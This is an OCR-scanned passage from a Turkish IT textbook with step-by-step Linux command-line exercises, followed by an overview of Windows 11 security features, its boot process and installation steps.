E(ogrenci@ okul)-[~/Masaiistii]
$ diff Gl.txt G2.txt

161

< Mustafa O.

> Kemal A.

5CH

< Ozgii B.

> Pinar F.

Gorsel 4.97: diff komutunun kullanimi

12. Adim: G1.txt ve G2.txt dosyalarini kopyalayarak yedekleyiniz.
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13. Adim: Komut satirina Is yazarak kopyalama isleminin gerceklestigini dogrulayiniz (Gorsel 4.98).

[:—(ogrenciéﬁokul) [~/Masaiistii]
$ cp Gl.txt yedekGl.txt

[:—(ogrenciiﬁoku13'[~/Masaﬁstﬁ]
$ cp G2.txt yedekG2.txt

[:—(ogrenciﬁaokul)—[~/ﬂasaﬁstﬁ]

$ s

Bilgiler G2.txt logo.png 'Proje Ofrencileri' [yedekG2.txt
Gl.txt Konular Odevler yedekG1. txt

Gorsel 4.98: cp komutunun kullanimi

14. Adim: G1.txt ve G2.txt dosyalarini yeniden adlandiriniz.

15. Adim: Komut satirina Is yazarak yeniden adlandirma isleminin gergeklestigini dogrulayiniz (Gorsel
4.99).

[:—{ogrenciéﬁokul)»[~/Masaﬁstﬁ]
$ mv Gl.txt Grup-1.txt

[:f{ogrenciiaokul)—[~/uasaﬁstﬁ]
$ mv G2.txt Grup-2.txt

[:—(ogrenciéBokul)—[~/Masaﬁstﬁ]
$ 1s

Bilgiler Grup-2.txt| logo.png 'Proje Ogrencileri’ yedekG2. txt
Grup—l.txtl

Ronular Odevler yedekG1l.txt

Gorsel 4.99: mv komutunun yeniden adlandirma igin kullanimi

16. Adim: GRUP-1.txt dosyasini BILGILER/10A/GRUP1 dizinine, GRUP-2.txt dosyasini Bilgiler/10A/
Grup2 dizinine tasiyiniz (Gorsel 4.100).

E( ogrenci® okul)-[~/Masaiistii]
$ mv Grup-1.txt Bilgiler/10A/Grupil

L—(ogrenci@ okul)-[~/Masaiistii]
$ mv Grup-2.txt Bilgiler/10A/Grup2

Gorsel 4.100: mv komutunun tasima igin kullanimi

17. Adim: Komut satirina tree Bilgiler yazarak dizin icerigini kontrol ediniz.
18. Adim: Tasima isleminin gerceklestigini dogrulayiniz (Gorsel 4.101).

L—(ogrenci@ okul)-[~/Masatistii]
$ tree Bilgiler

Bilgiler

10A

Grupl
L— Grup-1l.txt
Grup2

L Grup-2.txt

4 directories, 2 files

Gorsel 4.101: tree komutunun kullanimi

19. Adim: Bilgiler dizinine gecerek /etc dizinindeki passwd dosyasini Bilgiler dizini icine kopyalayiniz.

20. Adim: Komut satirina Is yazarak passwd dosyasinin kopyalandigindan emin olunuz.
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21. Adim: passwd dosyasinin son iki satirini konsola yazdiriniz (Gorsel 4.102).

[:—(ogrenciﬁéokul)—[~/Masaﬁstﬁ/BiIgiIer]
$ tail -2 passwd
hakan:x:1004:1004:,,,:/home/hakan:/bin/bash
fatih:x:1005:1005 :: /home/fatih:/bin/sh

Gorsel 4.102: tail komutunun kullanimi

22. Adim: Komut satirina cut -d: -f1 passwd yazip, passwd dosyasindan kullanicilari keserek konsola
yazdiriniz (Gorsel 4.103).

[:—(ogrenciiiokul)—[~lHasaﬁstﬁ/Bi1gi1er]
$ cut -d: -f1 passwd

root

daemon

bin

Sys

sync

games

man

lp

mail

nens

Gorsel 4.103: cut komutunun kullanimi

23. Adim: Komut satirina cut -d: -f1 passwd | head -n 5 yazarak passwd dosyasindan ilk bes kullaniciy
konsola yazdiriniz (Gorsel 4.104).

I_-—( ogrenci% okul)-[~/Masaiistii/Bilgiler]
cut -d: -f1 passwd | head -n 5

root

daemon

bin

5ys

sync

Gorsel 4.104: cut ve head komutlariile | (pipe) kullanimi

24. Adim: Komut satirina cut -d: -f1,6 passwd | tail -n 6 | sort yazarak (Bu komut ile son alti kullanicinin
kullanici adi ve ev dizinleri konsola sirali bir sekilde yazdirilr.) konsola yazdirilan ¢iktiyi inceleyiniz (Gorsel

4.105).

E(ogrenci@ okul)-[~/Masaiisti/Bilgiler]
$ cut -d: -f1,6 passwd | tail -n 6 | sort
fatih:/home/fatih

hakan:/home/hakan

hasan:/home/hasan

kerem:/home/kerem

ogrenci:/home/ogrenci
vboxadd:/var/run/vboxadd

Gorsel 4.105: cut, tail ve sort komutlariile | (pipe) kullanimi



4. OGRENME BiRiMi

25. Adim: Komut satirina history > geg¢mis.txt yazip, komut ge¢cmisini gegmis.txt dosyasina aktararak
cat komutu ile gegmis.txt dosyasini konsola yazdiriniz (Gérsel 4.106).

[:-(0grenci€5okul)—[~/Hasaﬁstﬁ/Bi1giler]
$ history > gecmis.txt

,_—(ogrenci@okul)—[-v/Hasaiistii/Bi'lgi'ler]
$ cat gecmis.txt

1 cd Belgeler

2 1s =run

3 chmod 777 VBoxLinuxAdditions.run

Gorsel 4.106: Komut ¢iktisini dosyaya yonlendirme islemi

26. Adim: Komut satirina nano kod.py yazip dosya i¢ine (nano editérini kullanarak) Python kodunu
yaziniz (Gorsel 4.107).

GNU nano 7.2 kod.py *

print( )
toplam=0
sayil=input()
sayil:
sayil=int(sayil)
toplam+=sayil
sayi2=input()
sayi2:
sayi2=int(sayi2)
toplam+=sayi2
print( ,toplam)

Gorsel 4.107: kod.py dosyasi icerigi
27. Adim: Python kodunu calistiriniz (Gorsel 4.108).

(ogrenci® okul)-[~/Masaiistii/Bilgiler |
—$ python kod.py
Say1 Toplayici
4
5
Toplam= 9

Gorsel 4.108: Python kodunun ¢alistigini dogrulama

28. Adim: 1.txt dosyasina 4 ve “” ifadelerini, 2.txt dosyasina 4 ve 5 ifadelerini alt alta olacak sekilde
yonlendirme operatori kullanarak aktariniz (Gorsel 4.109).

[:—(ogrenciﬁéokul}—[~/Hasaﬁstﬁ/Bilgiler]
$ echo 4 > 1.txt

E( ogrenci® okul)-[~/Masaiistii/Bilgiler]
$ echo "" > 1.txt

[:—(ugrenciﬁiokul}—[~/Masaﬁstﬁ/BiIgiler]
S echo 4 > 2.%txt

[:—(ogrenciﬁéokul}—[~/Hasaﬁstﬁ/BilgiIer]
$ echo 5 > 2.txt

Gorsel 4.109: Yonlendirme operatorlerinin kullanimi
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29. Adim: 1.txt ve 2.txt dosyalarini calistirilan kod.py dosyasina yonlendiriniz (Gorsel 4.110).

[:*(ogrenci63okul)*[~/Masaﬁstﬁ/Bi1gi1er1
$ python keod.py < 1.txt

Sayl Toplayici

Toplam= &

[j—(ogrenciﬁsokul)-[~/Masaﬁstﬁ/BilgilerJ
$ python kod.py < 2.txt

Say1i Toplayici

Toplam= 9

Gorsel 4.110: Cahstirilan kod dosyasina dosya yonlendirme

30. Adim: Komut satirina nano ogrenciler.txt yazarak 6grenci listesini olusturunuz (Goérsel 4.111).

GNU nano 7.2 ogrenciler.txt *

Mustafa, Doruk, 75
Ayse, Can, 45
Kerem, Dizdar, 90
Merve, Kuru, 85
Salih, Durgun, 100
Fatma, Coban, 98
Salih, Kara, 56
Fatih, Kartal, 35

Gorsel 4.111: nano editori ile 6grenci listesi olusturma

31. Adim: Komut satirina sort -n -k3 ogrenciler.txt yaziniz ve bu komut galistiginda dosya igeriginin
0grenci notlarina gore siralanip konsola yazdirildigindan emin olunuz (Goérsel 4.112).

[j—(ogrenci€5oku1)f[~/Masaﬁstﬁ/8i1gi1er]
$ sort -n -k3 ogrenciler.txt

Fatih, Kartal, 35

Ayse, Can, 45

salih, Kara, 56

Mustafa, Doruk, 75

Harun, Kum, 84

Merve, Kuru, 85

Kerem, Dizdar, 90

Fatma, Coban, 98

Salih, Durgun, 100

Gorsel 4.112: sort kullanimi

SIRA

am Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

e Ugbirim Onyiikleyicisini aginiz.

[i—{ogrenciﬁéokul)—{~/Masaﬁstﬁ/Bi1gi1er]
$

. ) alias sil=clear
e Komut satirina strings /bin/ls | more yaziniz.

[:—(ogrenciﬁiokul)»[~/Masaﬁstﬁ/Bi1gi1er]
e Komut ciktisini inceleyiniz. $ silfi

e Komut satirina more /var/log/messages Gorsel 4.113: alias kullanimi
yaziniz.

e Komut giktisini inceleyiniz.

e alias olusturunuz. Olusturdugunuz alias’t kullaniniz (Gorsel 4.113).
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e Degisken olusturup olusturdugunuz degiskeni konsola yazdiriniz (Gorsel 4.114).

[:‘(ogrenciéiakul)*["/Masaﬁstﬁ/Bilgiler]
$ isim='Mustafa'

[i—(ogrenciSSnkull—[~/Hasaﬁstﬁ/Bilgiler]
$ echo $isim
Mustafa

(ogrenci® okul)-[~/Masaiistii/Bilgiler]
echo '"$isim'
$isim

[:—(ogrenciﬁiokul)-f~/Masaﬁstﬁ/Bilgiler]
echo "$isim"
Mustafa

Gorsel 4.114: Degisken kullanimi

e uniq komutuyla ilgili uygulama yapiniz.
e Komut satirinda for déngiisii kullanarak ardisik dizinler olusturunuz.
e |s komutu ile dizinlerin olustugunu dogrulayiniz (Gorsel 4.115).

l_—(ogrenci@ okul )-[~]
$ i in {1..10}; mkdir Soru$i;
L—Logrenci@ okul)-[~]

$ 1s
Belgeler dosyab.txt Kodlar odevl.txt Sorul Sorub
dosyal.txt dosya.tar parola.txt Sorul® Soru7
dosya2.txt Genel kullanici.txt Plan Soru2 Soru8
dosya3.txt Indirilenler logo.png Raperiay Soru3  Soru9
dosya4.txt isimler Masaiisti Resimler Soru4  Sablonlar
dosya5.txt Mizik Sonuglar Soru5 Tercihler

Gorsel 4.115: for donglisu ile ardisik dizin olusturma

e Ornekler dizini olusturunuz.

e Ornekler dizini igine ardisik on adet dosya olusturan for déngiisiinii yaziniz (Dosyalar érnekl.txt,
ornek2.txt, ornek3.txt seklinde devam etmelidir.).

Linux girdi (stdin), ¢ikti (stdout) ve hata (stderr) yonlendirmeleri hakkinda
arastirma yapiniz. Bu yonlendirmeler hakkinda uygulamalar gergeklestiriniz.
Arastirma sonuclarini ve gerceklestirdiginiz uygulamalari rapor héaline getiriniz.
Cahismanizi arkadaslarinizla paylasiniz.

21. UYGULAMA Linux komut dosyasi olusturma islemini asagidaki adimlar
dogrultusunda gergeklestiriniz.

1. Adim: Ugbirim 6ykiinticlsini aginiz.
2. Adim: Komut satirinda cd; mkdir komutlar; cd komutlar yaziniz.

3. Adim: Komut satirinda nano sil yazip, nano editor kullanarak sil dosyasi icine bash kodunu yaziniz
(Gorsel 4.116).

yanit

read -p "Silmek istiyor musunuz? (e/h):
if [ $yanit = "e" ]
then

rm -rf $1;
fi

Gorsel 4.116: sil dosyasinin bash kodlar
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]
4. Adim: Komut satirinda chmod a+x sil yaziniz ve dosyanin herkes tarafindan ¢alistirilmasini saglayiniz.
5. Adim: Komut satirinda pwd yazarak dosyanin konumunu kopyalayiniz.

6. Adim: Kopyaladiginiz dosya konumunu SPATH degiskenine ekleyiniz (Gérsel 4.117).

l_—{ ogrenci® okul)-[~/komutlar]
$ PATH="/home/ogrenci/komutlar: $PATH"

Gorsel 4.117: SPATH degiskenine konum ekleme

7. Adim: Komut satirina cd; touch dosya; Is yaziniz ve dosyanin olustugundan emin olunuz (Gorsel
4.118).

L—(ogrenci@okul)u[-]

$ cd; touch dosya; 1s

Belgeler dosya5.txt ( Masaiistii Resimler Soru4 Sablonlar
dosyab.txt Kodlar Miizik Sonuglar Soru5 Tercihler
dosyal.txt dosya.tar . : odevl.txt Sorul Soru6 Videolar
dosya2.txt Genel komutlar parola.txt Sorul@ Soru7
dosya3.txt Indirilenler kullanici.txt Plan Soru2 Soru8
dosyak.txt isimler logo.png Raporlay Soru3 Soru9

Gorsel 4.118: Silinecek dosyanin olusturulmasi

8. Adim: Komut satirina sil dosya yazip silme islemini onaylayiniz ve dosyanin silindiginden emin olunuz
(Gorsel 4.119).
L—$(ogrenci@ okul)-[~]

s1l dosya
Silmek istiyor musunuz? (e/h): e

g(ogrenci@: okul)-[~]

ls

Belgeler dosyab.txt Kodlar Miizik Sonuglar Soru5 Tercihler
dosyal.txt dosya.tar odevil.txt Sorul Soru6 Videolar
dosya2.txt Genel komutlar parola.txt Sorul@® Soru7

dosya3.txt Indirilenler kullanici.txt Plan Soru2 Soru8

dosya4.txt isimler logo.png B  sorus Soru9

dosya5.txt Masaiistii Resimler Soruk Sablonlar

Gorsel 4.119: sil komut dosyasinin ¢alistiriimasi

9. Adim: Yeni bir terminal agtiginizda sil komut dosyasi ¢alismayacaktir. Bu komut dosyasini her yerden
cagrilabilecegi bir konuma tasiyiniz (Gorsel 4.120).

(ogrenci® okul)-[~]
,—_$ cd komutlar

’j( ogrenci® okul)-[~/komutlar]
$ sudo mv sil /usr/local/sbin
[sudo] password for ogrenci:

Gorsel 4.120: sil komut dosyasini tagima islemi

10. Adim: Yeni bir terminal penceresi agip komut dosyasini tekrar ¢alistirmayi deneyiniz.

Inode (diigiim), Hard Link (kat link) ve Soft Link (sembolik link) kavramlari
hakkinda arastirma vyapiniz. Arastirma sonuglarini rapor héline getirerek
arkadaslariniz ve 6gretmeninizle paylasiniz.
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22. UYGULAMA Sembolik ve kati link olusturma islemini asagidaki adimlar
dogrultusunda gergeklestiriniz.

1. Adim: Ucgbirim 6ykiintcisini aginiz.
2. Adim: Komut satirinda mkdir Uygulama; cd Uygulama; touch dosya.txt yaziniz.

3. Adim: Komut satirinda nano dosya.txt yazip, nano editor kullanarak dosya igine sehirleri yaziniz
(Gorsel 4.121).

Antalya
Izmir
Kilis

Eamsun

Gorsel 4.121: dosya.txt icerigi

4. Adim: Komut satirinda In -s dosya.txt dosya_sembolik.txt yazarak dosyanin sembolik linkini
olusturunuz.

5. Adim: Komut satirina file dosya_sembolik.txt yazarak dosya hakkinda bilgi aliniz (Gorsel 4.122).

f( ogrenci okul)-[~/Uygulama ]
$ 1n -s dosya.txt dosya_sembolik.txt

L—( ogrenci® okul)-[~/Uygulama]
$ file dosya_sembolik.txt
dosya_sembolik.txt: symbolic link to dosya.txt

Gorsel 4.122: Sembolik link olusturma
6. Adim: Komut satirinda cat dosya_sembolik.txt yaziniz (Gorsel 4.123).

7. Adim: Komut satirinda echo Burdur >> dosya.txt yazarak dosyaya ekleme yapiniz ve cat dosya_
sembolik.txt komutu ile degisikligi inceleyiniz [Bu adimda dosya.txt icine yapilan eklemenin dosya__
sembolik.txt dosyasini da degistirdigini goreceksiniz (Gorsel 4.124).].

2 & i (ogrenci® okul)-[~/Uygulama]
) S
Ankara L—c ogrenci® okul)-[~/Uygulama)
fstanbul : i cat dosya_sembolik.txt

nkara

Eursa Istanbul

onya Bursa
Erzurum Konya
Edirne :zi:ig"‘
ﬁrdahan Ardahan

ars Kars
Antalya Antalya
T : Izmir
EallaE Kilis
Kilis Samsun
Samsun Burdur

Gorsel 4.123: Dosya igerigi Gorsel 4.124: Dosya igerigindeki degisikligin

incelenmesi
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8. Adim: Komut satirinda In dosya.txt dosya_katilink.txt yazarak dosyanin kati linkini olusturunuz.

9. Adim: cat dosya_katilink.txt komutu ile dosya igerigini yazdiriniz (Gorsel 4.125).

10. Adim: Komut satirinda echo Sivas >> dosya.txt yazarak dosyaya ekleme yapiniz ve cat dosya_katilink.
txt komutu ile degisikligi inceleyiniz [Bu adimda dosya.txt icine yapilan eklemenin dosya_katilink.txt
dosyasini da degistirdigini goreceksiniz (Gorsel 4.126).].

(ogrenci® okul)-[~/Uygulama] S
[:; Ln dosya.txt dosya_katilink.txt [:—(ogrenC}é:0ku1)—[~/Uygu1ama]
$ echo Sivas >> dosya.txt
[_—( ogrenci® okul)-[~/Uygulama] .
$ cat dosya_katilink.txt E(ogrenu@ okul)-[~/Uygulama]
Ankara $ cat dosya_katalink.txt
istanbul Ankara
Bursa Istanbul
Konya Bursa
Erzurum Konya
Edirne Erzurum
Ardahan Edirne
Kars Ardahan
Antalya Kars
I;m}r Antalya
Kilis Izmir
Samsun KA1
Burdur
Samsun
Burdur
Sivas
Gorsel 4.125: Kat1 link olusturma ve igerigini Gorsel 4.126: Dosya igerigindeki degisikligin
inceleme izlenmesi

11. Adim: Komut satirinda Is -l yazarak dosya detaylarini inceleyiniz (Gorsel 4.127).

L—(ogrenci@ olul)-[~/Uygulama]
$

s =L
toplam 8
-rw-r--r-- 2 ogrenci ogrenci 98 Agu 12 04:39 dosya_katilink.txt
lrwxrwxrwx 1 ogrenci ogrenci 9 Agu 12 04:16 — dosya.txt

-rw-r--r-- 2 ogrenci ogrenci 98 ASu 12 04:39 dosya.txt

Gorsel 4.127: Dosya detaylari

12. Adim: Komut satirinda rm dosya.txt yazarak dosyayi siliniz ve komut satirina Is -l yazarak dosya
detaylarini inceleyiniz (Gorsel 4.128).

E(ogrenci@ okul)-[~/Uygulama]
$ rm dosya.txt

s -1
toplam 4
-rw-r--r-- 1 ogrencli ogrenci 98 Agu 12 @4:39 dosya_katilink.txt

Lrwxrwxrwx 1 ogrenci ogrenci 9 Agu 12 04:16 RSNy — [EEEETG

Gorsel 4.128: Dosya detaylarindaki degisikligin incelenmesi

(ogrenci% okul)-[~/Uygulama]
Ls
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13. Adim: Komut satirinda once cat dosya_katilink.txt, daha sonra cat dosya_sembolik.txt yazarak
ekran ciktilarini yorumlayiniz (Gorsel 4.129).

E( ogrenci® okul)-[~/Uygulama]
cat dosya_katilink.txt

Ankara

Istanbul

Bursa

Konya

Erzurum

Edirne

Ardahan

Kars

Antalya

Izmir

Kilis

Samsun

Burdur

Sivas

[:—(ogrenciSEokul)-["/Uygulama]
cat dosya_sembolik.txt
cat: dosya_sembolik.txt: Boyle bir dosya ya da dizin yok

Gorsel 4.129: Kati link ile sembolik link arasindaki farkin incelenmesi

Linux isletim sisteminde zamanlanmis gorevlerin olusturulmasi ve yonetimi
hakkinda arastirma vyapiniz. Arastirma sonuglarini rapor haline getirerek
arkadaslariniz ve 6gretmeniniz ile paylasiniz.

4.1.7. Windows isletim Sistemleri

Windows; Microsoft sirketi tarafindan gelistirilen, kapali kaynak kodlu bir isletim sistemidir.

Windows’un en dnemli 6zelligi grafik araytzlyle kullanicilarin
yazilimlari calistirmasini kolaylagtirmasidir. Ayrica Windows’un
¢ok kullanicili yapisi birden fazla kullanicinin ayni anda oturum
acabilmesine, kendi kisisel ayarlarini ve dosyalarini saklayabil-
mesine imkan tanir. Bu 6zellik sayesinde ailelerden is yerlerine
kadar farkli senaryolarda kullanicilarin ihtiyaglarina cevap ve-
rir. Windows kullanici dostu arayiizii, genis uygulama destegi
ve entegre glvenlik ¢oziimleri sayesinde diinya genelinde kisi-
sel bilgisayarlarda kullanilan en yaygin isletim sistemidir (Gor-
sel 4.130). Gorsel 4.130: Windows isletim sistemi

ilk Windows isletim sistemi olan Windows 1.0, Kasim 1985 'te piyasaya siiriilmiistiir. Yillar icinde yapilan
glncelleme ve gelistirmeler sonucunda Windows kapsamli bir isletim sistemi haline gelmistir.

Windows isletim sistemlerinin kullanici arayiziinin grafiksel gelisimini arastiriniz.
Windows strtmlerini gorselleriyle eslestirerek bir rapor hazirlayiniz (Raporu
hazirlarken eski Windows slrimlerini calisiran cevrimici emulatorlerden
yararlanilabilir.). Calismanizi arkadaslariniz ve 6gretmeninizle paylasiniz.
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Windows 11 kurulumu igin gerekli bazi 6nemli sistem gereksinimleri sunlardir:

e TPM 2.0 destekli cipe sahip bir anakart
e 64-bit islemci
e UEFI boot destegi

TPM (Trusted Platform Module), Givenilir Platform Modill olarak ifade edilir. TPM, cihazlarda donanim
tabanli bir givenlik saglar. TPM 2.0; sifreleme anahtarlarini korumak, cihazin kimligini dogrulamak,
cihazi glivenli bir sekilde boot etmek gibi 6zelliklere sahiptir. Bu 6zelliklere sahip Windows 11 kurulu
sistemler, zararli yazihmlara ve siber saldirilara karsi daha etkili bir savunma saglar.

Windows 11 yalnizca TPM 2.0 destekli cihazlarda calisir. Cihazin TPM 2.0 destekli olup (g
olmadigini 6grenmek icin Windows ve R tus kombinasyonu ile Calistir araci agclilir. of
Calistir aracinda tpm.msc yazilir ve Enter tusuna basilir. Agilan pencerede Durum ve -
TPM Uretici Bilgileri kisimlari kontrol edilir.

Windows 11, kullanicilari kot amagh yaziimlardan ve kimlik avi saldirilarindan koruma, siipheli
uygulamalarin indirilmesini 6nleme gibi teknolojik 6zelliklere sahiptir. Bu o6zellikleri kullanmak igin
Baglat > Ayarlar > Giincellestirme ve Giivenlik > Windows Giivenligi adimlari takip edilir. Windows
Guvenligi penceresi farkli glivenlik araglarini igerir (Gorsel 4.131).

| Windows Givenligl

| = Bir bakista gUvenlik

N i
|
O Viriss ve tehdit korumas
2 Hesap kerumas
G Giivenlik duvan ve ag korumas: Q % (( Ta
&
=] ulama ve tarayic denetimi
L ’ Virds ve tehdit korumas: Hesap korumasi Givenlik duvan ve ag
O Cihaz giventigi Eylem gerekmiyor Eylem gevekimiyor Smln..lmaﬁl s
% Cihaz performans ve sistem durumu
& Aile secenekleri
© tonmaowni & () 2

Uygulama ve tarayici Cihaz givenligi Cihaz performans ve sistem
denetimi durumu
Eydern gerekmiyor Eylem gerek

o]
&

Aile seqenekleri

Gorsel 4.131: Windows Giivenligi ekrani

Bilgisayarin ve icindeki verilerin korunmasina yardimci olan Windows Guvenligi araclari sunlardir:

e Viris ve tehdit korumasi e Cihaz glivenligi
e Hesap korumasi e Cihaz performansi ve sistem durumu
e Gulvenlik duvari ve ag korumasi ¢ Aile segenekleri

e Uygulama ve tarayici denetimi e Koruma gegmisi
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Windows isletim sistemi agilig siireci bilgisayar baslatildiginda isletim sisteminin yliklenip ¢alistiriimasini
ifade eder. Bu sireg bilgisayarin baslatiimasindan isletim sisteminin yiklendigi ve kullanima hazir hale
geldigi ana kadar olan asamalari icerir (Sema 4.2).

Boot Islemi
Y
Bootmgr.exe
) 2 h 4
Winload.exe Winresume.exe [{Data Hiberfil.sys
A 4
Ntoskrnl.exe
Y
HAL.DLL |€—Data Pagefile.sys
\ 4
smss.exe
\ 4
Csrss.exe
Wininit.exe Winlogon.exe
\ 2 L 4 L 2 )
Lsass.exe Services.exe Userinit.exe :
T T 1
-t Y T A
1 1
1 Svchost.exe 1 Explorer.exe
1 1
1 1
[ Y ] F""Y"“'
! Svchost.exe ' ! Svchost.exe

Sema 4.2: Windows isletim sistemi agilis slireci

Windows isletim sistemi acilis stireci genel olarak sunlardan olusur:

1. UEFI sistemlerde bootmgfw.efi, winload.efi dosyasini yiklemek icin EFl sistem bélimiinde
bulunan BCD (Boot Configuration Data) dosyasini okur. BIOS sistemlerinde ise bootmgr.exe, winload.
exe dosyasini bulmak icin BCD dosyasini okur. Her iki winload programinin amaci, temel siirticlleri
ve ¢ekirdegi yuklemektir. Winresume.exe, hazirda bekletme modunda olan Windows 6rnegini geri
yuklemek igin Hiberfil.sys dosyasini okur. Winresume.exe, UEFI sistemlerde winresume.efi olarak
adlandirilir.

2. Windows’ta ¢ekirdek, Ntoskrnl.exe olarak adlandirilir. Ntoskrnl.exe kritik bir sistem dosyasidir.
Winload.exe, Ntoskrnl.exe’yi c¢alistirarak Windows c¢ekirdegini baslatir. Windows c¢ekirdegi, kayit
defterini ve aygit siricilerini ylkler. Ardindan bellek yonetimini optimize etmek icin pagefile.sys
dosyasini kullanir. HAL.dIl dosyas! yiklenir. HAL.dIl (Hardware Abstraction Layer DLL), Windows
isletim sisteminin donanim soyutlama katmanini temsil eden bir sistem dosyasidir. HAL.dI, isletim
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sisteminin cesitli donanim birimleriyle etkilesimini kolaylastiran bir bilesendir. Bu baglamda farkl
donanim birimlerinin isletim sistemi tarafindan algilanip etkin bir sekilde kullanilabilmesini saglar.
Cekirdek yikleme islemi tamamlandiktan sonra isletim sistemi ¢cekirdegi System siirecini olusturur.
System sireci, cekirdek modunda ¢alisan is pargalarini yonetir ve denetler. Bu is pargalari genellikle
suriciler gibi cekirdek diizeyinde calisan bilesenlerdir. System, oturum yonetimi sirecleri olan
smss.exe ve csrss.exe sireclerini olusturur.

3. Smss.exe (Session Manager Subsystem) %APPDATA%, %COMPUTERNAME% gibi cevresel
degiskenleri yikler. Cekirdek (kernel) ve kullanici modu alt sistemlerini baslatir. Smss.exe, kullanici
modunda calisan siregleri ve is parcaciklarini yonetmek icin csrss.exe (Client/Server Runtime
Subsystem) stirecini baslatir.

4. Windows isletim sistemi, kullanicilarin uygulamalarini ve islemlerini farkli oturumlar altinda
yonetir (Sema 4.3).

;_SYSTEM (4) t

-T7--

smss (368)
| I
2
smss (400) smss (482)
Session 0 Session 1
csrss (408) ] [wininit (488) ﬂ: csrss (492) winlogon (544)

1 l

Userinit (1638)

v

Explorer (3572)

¥

Isass (572)

Sema 4.3: Siireg agacl

a) Session 0, ylksek ayricalikli ve kritik 6neme sahip islemler icin ayrilmistir. wininit.exe, Isass.
exe ve services.exe slreglerini baslatir.

b) Session 1, ilk oturum acan kullanici i¢in ayrilmistir. Session 1 ve Ustl (Session 2 vb.) birer
standart kullanici oturumudur. winlogon.exe sireci, oturumu baslatmak icin kimlik bilgilerini
kullanicilardan isteyen bir araylz saglar. Userinit.exe sireci, oturum agan kullanicinin islem
yetkilerini ve calisma ortamini hazirlayarak oturum agma islemini tamamlar. Explorer.exe siireci,
kullaniciya 6zellestirilmis bir masausti sunar.

4.1.7.1. Windows isletim Sistemi Kurulumu

Bu 6grenme biriminde Windows masaisti isletim sisteminin son strimi olan Windows 11
kullanilacaktr.
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23. UYGULAMA Windows 11 kurulumunu asagidaki adimlar dogrultusunda
gerceklestiriniz.
-

1. Adim: Gelistirici firmanin resmf internet sitesine (www.microsoft.com) girerek Windows 11 isletim
sistemi disk gorintisini indiriniz (Gorsel 4.132).

Nindows 11 Disk Gortntisund (1ISO) Indirme

Bu segenek, Windows 11'i yiklemek igin ényiklenebilir bir yiikleme medyasi (USB flash siriici, DVD) veya
bir sanal makine (150 dosyasi) olusturmak isteyen kullamailar igindir. Bu indirme, dogru striman kilidini
agmak igin Uriin anahtanmzin kullanildig ok strimli bir 1SO'dur.

Windows 11 (multi-edition 1SO) v

@ Baglamadan &nce

Gorsel 4.132: Windows 11 ISO dosyasi indirme
2. Adim: indirilen disk gériintiisii ile 6nyiiklenebilir bir USB bellek hazirlayiniz.
3. Adim: Hazirlanan USB bellegi bilgisayara takarak bilgisayari yeniden baslatiniz.
4. Adim: Bilgisayarin BIOS ayarlarina girerek ilk agilig aygitini USB olarak degistiriniz.

5. Adim: BIOS ayarlari yapildiktan sonra bilgisayar yeniden baslayacaktir. Bilgisayar acilirken Press any
key to boot from CD or DVD... uyarisi verecektir (Gorsel 4.133). Bir tusa basarak onylkleme islemine
baslayiniz.

Press any key to boot from CD or DVD....

Gorsel 4.133: Onyiikleme islemi baslatma uyarisi

6. Adim: Dil, saat ve klavye ayarlarini yaparak Sonraki butonuna tiklayiniz (Gorsel 4.134).

1s Windows Kurulumu

BR Windows

Yildenecek dil: [Tarkce (Tadaye) B

Saat ve para birimi bigimi: [EETESE

Difinizi ve dider tercihlerinizi giin, ardindan "Sonraki” digmesine tiklayn

onraki

Gorsel 4.134: Dil, saat ve klavye ayari segimi
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7. Adim: isletim sistemini yiiklemek icin Simdi yiikle butonuna tiklayiniz (Gorsel 4.135).

14 Windows Kurulumu o) & [_‘“-]

B Windows

Simdi ylkle

Bilgisayarinizi onann

€ Microsof Corporation. TUm haldan sakhdir

Goérsel 4.135: isletim sistemi yiikleme baglangic ekrani

8. Adim: Gegerli bir Urlin anahtari (lisans numarasi) varsa yaziniz, yoksa Uriin anahtarim yok
secenegini secerek devam ediniz (Gorsel 4.136).

) & Windows Kurulumu
=/ .

Windows'u Etkinlestir

Eger bu bilgisayarda Windows'u ilk kez yuklbyorsaniz (veya farkh bir sirGmund ydkldy
gegerh bir Windows urdn anahtan girmeniz gerelar. Urin anahtanniz, Windows' )
satin aldiginiz zaman size gelen onay e-postasinda veya Windows'un iinde geldigi kutunun
deki etikette olacaktir

5

Urn anahtan suna benzer. JOOCOK - X000 0000 - )OO - XCO0K

Windows'u yeniden yikliyorsaniz, Uriin anahtanm yok segenegini segin. Windows kopyamiz daha
sonra otomatik olarak etkinlegtirilir

dirim Jrin anahtanm yok En( Sonrak

Gorsel 4.136: Windows’u Etkinlestir ekrani

9. Adim: Yiklemek istediginiz isletim sistemini seciniz (Gorsel 4.137).
g r"f‘ Windows Kurulumu &

Yiklemek istediginiz isletim sistemini secin

Isletim sistemi Miman Degistirme ta
Windows 11 Home #H4 5052023
Windows 11 Home Single Language W64 5.05.2023
Windows 11 Education o4 5052023
Windows 11 Pro 64 5.05.2023
Windows 11 Pro Education 54 5.05.2023
Windows 11 Pro for Workstations b4 5052023

Aciklama

Windows 11 Pro

| Sonraki

Gérsel 4.137: isletim sistemi siirimiini segme

10. Adim: Lisans kosullarini kabul ediyorum kutusunu isaretleyerek kuruluma devam ediniz.
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11. Adim: Yeni bir kurulum yapilacagi icin Ozel: Yalnizca Windows’u yiikle (gelismis) secimini yapiniz
(Gorsel 4.138).

@ ﬁ] Windows Kurulumu ﬁ

Ne tdr bir ylikleme yapmak istiyorsunuz?

Yiikselt: Windows'u yiikle; dosyalan, ayarlan ve uygulamalan keru
Bu segenek kullanildiginda, dosyalar, ayarlar ve uygulamalar Windows'a tagimir. Bu segenek
yalnizca bilgisayarda desteklenen bir Windows sdrima galigryorsa kullanilabilir.

Ozel: Yalnizea Windows'u yiikle (gelismis)

Bu segenek kullanildiginda, dosyalar, ayarlar ve uygulamalar Windows'a taginmaz. Baldmlerde ve
saricidlerde degigiklikler yapmak istiyorsaniz, bilgisayan ydkleme diskini kullanarak baglatin.
Devam etmeden dnce dosyalannim yedeklemenizi dneririz.

Gorsel 4.138: Yiikleme tlrini segme

12. Adim: isletim sisteminin yiiklenecegi siiriicii bdlimiini seciniz (Gorsel 4.139).

@ ﬁ Windows Kurulumu

Windows'u nereye yiiklemek istiyorsunuz?

| Ad Toplam boyut Bogalan Tor
= Soracd 0 Bolam 1 100.0 MB 950ME  Sistemn
| \._. V Soroca 0 Boldm 2 16.0 MB 160ME MSR (Aynirmg)
